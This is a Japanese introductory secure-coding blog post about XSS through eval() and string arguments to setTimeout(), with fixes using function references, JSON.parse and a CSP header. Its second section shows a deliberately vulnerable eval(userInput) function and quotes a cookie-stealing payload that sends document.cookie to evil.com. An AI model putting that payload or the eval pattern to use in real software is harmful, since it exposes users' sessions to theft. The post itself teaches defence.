【入門編】JavaScriptのeval()およびsetTimeout()への文字列渡しによるXSS – アプリケーションセキュリティ & 安全な開発防御ガイド

「魔法の箱」に毒を入れないで:JavaScriptの「動的実行」が招くXSSの恐怖と対策

こんにちは。セキュリティの世界へようこそ。
日々、見えない敵と戦うエンジニアの皆さん、あるいはこれからWebの世界に足を踏み入れる新人の皆さん。今日は、Web開発で「便利だから」とついつい使いがちな、JavaScriptの禁断の果実についてお話しします。

皆さんは「家」を想像してみてください。玄関に郵便受けがありますよね。そこから届いた手紙(ユーザーからの入力)を、そのままリビングで読み上げるなら安全です。でも、もしその手紙に「ここに書いてあることを、そのまま命令として実行せよ」と書かれていたらどうなるでしょう?

それが、今回お話しする「XSS(クロスサイトスクリプティング)」の入り口であり、特に危険な「動的コード実行」の罠なのです。

—

1. そもそもXSSって何?:泥棒を招き入れる手口

XSSは、Webサイトの訪問者に対して、悪意のあるプログラム(スクリプト)を実行させる攻撃です。

  • 反射型: 泥棒が「この道を通れ」と偽の地図(URL)を配り、踏んだ人のブラウザで悪さをするタイプ。
  • 格納型: 掲示板のコメント欄などに爆弾(悪意あるコード)を埋め込み、見に来た人全員を攻撃するタイプ。
  • DOM型: ブラウザ上で動くプログラムの隙を突き、ページを書き換えるタイプ。

これらはすべて、「ブラウザが、悪意あるコードを『サイトの持ち主からの正当な命令』だと勘違いしてしまう」ことで発生します。

—

2. 禁断の関数:eval() と setTimeout() の文字列渡し

開発中に「入力された文字列を、そのままプログラムとして動かしたい!」という場面に遭遇することがあります。その時、つい使ってしまうのが eval() や setTimeout() への文字列渡しです。

なぜこれが「泥棒の合鍵」になるのか?

例えば、以下のようなコードを書いたとしましょう。

// ユーザーが入力した「命令」をそのまま実行する関数
function executeUserCommand(userInput) {
// 警告:これは非常に危険です!
// 泥棒が「alert(‘盗んだ!’)」と入力したら、そのまま実行されてしまいます。
eval(userInput);
}

eval() は「文字列をJavaScriptのコードとして実行する」という関数です。もし攻撃者が location.href='https://evil.com?cookie='+document.cookie なんていう文字列を入力したらどうなるでしょう? あなたのサイトの利用者の大事なログイン情報が、一瞬で泥棒の元へ送られてしまいます。

setTimeout("alert('こんにちは')", 1000) のように、関数の引数に文字列を渡す場合も同じです。ブラウザは「ああ、これは命令文なんだな」と律儀に実行してしまいます。

—

3. どうやって防ぐ?:安全な書き方への変換

では、どうすれば便利さを維持しつつ、鍵を固くできるのでしょうか。対策は「命令を直接渡すな、参照を渡せ」です。

対策その1:関数参照を使う

setTimeout に文字列を渡すのではなく、関数そのものを渡しましょう。

// 【安全な書き方】
// 文字列ではなく、関数オブジェクト(名前)を渡します。
setTimeout(myFunction, 1000);

function myFunction() {
console.log(“安全に実行されました!”);
}

対策その2:JSON.parse を活用する

データを受け取りたいときは、eval() で無理やりコード化するのではなく、JSON形式として安全に変換しましょう。

// 【安全な書き方】
const userData = ‘{“name”: “田中”, “age”: 25}’;
const userObject = JSON.parse(userData); // これならデータとしてのみ扱われます
console.log(userObject.name);

—

4. 最後の砦:CSP(コンテンツ・セキュリティ・ポリシー)

ここまで気をつけていても、人間はミスをする生き物です。そこで、ブラウザ側で「万が一、悪意あるコードが混入しても実行させない」という強力な防壁を築きましょう。それが「CSP」です。

Webサーバーからブラウザへ送るレスポンスヘッダーに、以下のような設定を追加します。

Content-Security-Policy: default-src ‘self’; script-src ‘self’;

  • default-src 'self': 基本的に、自分のサイト以外から持ってきたデータは信用しません。
  • script-src 'self': 外部の怪しいスクリプトや、インラインで直接書かれたスクリプト(evalを含む)をブロックします。

これを設定しておくだけで、攻撃者がどれだけ eval() を仕込もうとしても、ブラウザが「その命令は許可されていません!」と門前払いしてくれるようになります。

—

最後に:セキュリティは「疑うこと」から始まる

「動的にコードを動かす」ことは、開発者にとって強力な魔法のように思えるかもしれません。しかし、その魔法は「誰がその命令を書いたのか?」という確認を怠った瞬間、あなたの大切なユーザーを傷つける凶器に変わります。

最初は難しく感じるかもしれませんが、まずは「eval() を使わないコードの書き方」を一つ覚えるだけで、あなたの作るアプリケーションは格段に安全になります。

一歩ずつ、一緒に強固なWebの世界を作っていきましょう。また次回の講義でお会いしましょう!

コメント

タイトルとURLをコピーしました